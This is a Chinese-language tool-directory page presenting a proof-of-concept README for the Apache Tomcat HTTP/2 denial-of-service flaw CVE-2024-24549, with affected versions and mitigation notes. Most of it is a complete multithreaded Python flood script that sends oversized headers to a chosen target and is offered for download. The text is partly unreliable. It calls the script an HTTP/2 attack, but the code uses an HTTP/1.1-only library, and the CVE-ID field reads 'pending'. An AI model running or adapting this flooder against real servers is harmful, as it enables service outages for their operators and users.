Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/abdurahmon3236/cve-2024-24549
漏洞分析漏洞利用Web安全渗透测试红队
GitHubabdurahmon3236/cve-2024-24549

CVE-2024-24549

针对 CVE-2024-24549 的概念验证 Python 脚本,演示 Apache Tomcat HTTP/2 拒绝服务攻击,通过超大标头耗尽服务器资源。

查看仓库
1022年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

这里有一份 README.md,用于演示 Apache Tomcat 中因 HTTP/2 请求输入验证不当导致的拒绝服务(DoS)漏洞的概念验证(PoC):


Apache Tomcat 拒绝服务(DoS)漏洞概念验证(PoC)

本仓库包含一个概念验证(PoC)脚本,演示 Apache Tomcat 中的拒绝服务(DoS)漏洞。该漏洞源于对 HTTP/2 请求的输入验证不当,可能导致拒绝服务状况。

漏洞描述

CVE-ID:(待定)

概述: Apache Tomcat 版本 11.0.0-M1 至 11.0.0-M16、10.1.0-M1 至 10.1.18、9.0.0-M1 至 9.0.85 以及 8.5.0 至 8.5.98 容易受到拒绝服务攻击。问题出现在处理 HTTP/2 请求时,当请求头超过配置限制时,HTTP/2 流直到所有标头处理完毕后才重置,可能导致资源耗尽。

受影响版本:

  • Apache Tomcat 11.0.0-M1 至 11.0.0-M16
  • Apache Tomcat 10.1.0-M1 至 10.1.18
  • Apache Tomcat 9.0.0-M1 至 9.0.85
  • Apache Tomcat 8.5.0 至 8.5.98

缓解措施:

  • 升级至 Apache Tomcat 11.0.0-M17、10.1.19、9.0.86 或 8.5.99 及更高版本。

PoC 详情

本 PoC 脚本演示如何通过发送超出配置标头限制的 HTTP/2 请求来利用 DoS 漏洞。脚本发送大量请求以耗尽服务器资源。

PoC 脚本

root@kitploit:~
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# 配置默认值
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# 设置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """生成长度固定的随机字符串。"""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """为请求生成动态负载。"""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """发送单个 HTTP 请求。"""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"线程 {thread_id} - 请求 {i + 1}: 状态码: {status}, 原因: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"线程 {thread_id} - 请求 {i + 1}: 状态码: {status}, 原因: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"线程 {thread_id} - 发生错误: {e}")
        finally:
            if conn:
                conn.close()

    # 创建并启动线程
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("请求发送完毕")

def parse_args():
    """解析命令行参数。"""
    parser = argparse.ArgumentParser(description="HTTP 请求洪水攻击器")
    parser.add_argument('--host', default=DEFAULT_HOST, help='目标服务器地址')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='目标服务器端口')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='要发送的请求总数')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='并发线程数')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='请求间隔')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='记录请求结果的文件')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"启动洪水攻击器,向 {args.host}:{args.port} 发送 {args.num_requests} 个请求,使用 {args.concurrent_threads} 个线程")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )

说明

  1. 配置:将 host 设置为目标服务器地址,port 设置为适当端口(通常 HTTPS 为 443)。调整 num_requests 以控制发送的请求数量。
  2. 创建连接:脚本与目标服务器建立 HTTPS 连接。
  3. 标头:使用较大的标头值以超出配置的标头限制并触发漏洞。
  4. 发送请求:脚本向目标服务器发送多个带有超大标头的 HTTP/2 POST 请求。
  5. 打印状态:打印每个请求的状态代码以监控影响。

重要注意事项

  • 权限:确保拥有明确权限对目标服务器执行此测试。未经授权的测试是非法的且不道德。
  • 测试环境:在受控环境中进行测试,以避免干扰生产服务。
  • 道德使用:负责任地使用此 PoC,仅在授权的情况下使用。

缓解措施

要缓解此漏洞:

  1. 升级 Apache Tomcat:更新至 11.0.0-M17、10.1.19、9.0.86 或 8.5.99 及更高版本。
  2. 审查配置:调整服务器配置以更有效地处理大型或恶意的 HTTP/2 请求。
  3. 监控资源:实施监控以检测并响应可能表明 DoS 攻击的异常请求模式。

有关保护 Apache Tomcat 安装的更多信息,请参阅官方 Apache Tomcat 文档。


此 README.md 提供了漏洞概述、PoC 脚本以及缓解说明。请确保负责任地使用此 PoC,并且仅在获得明确授权的系统上使用。

下载工具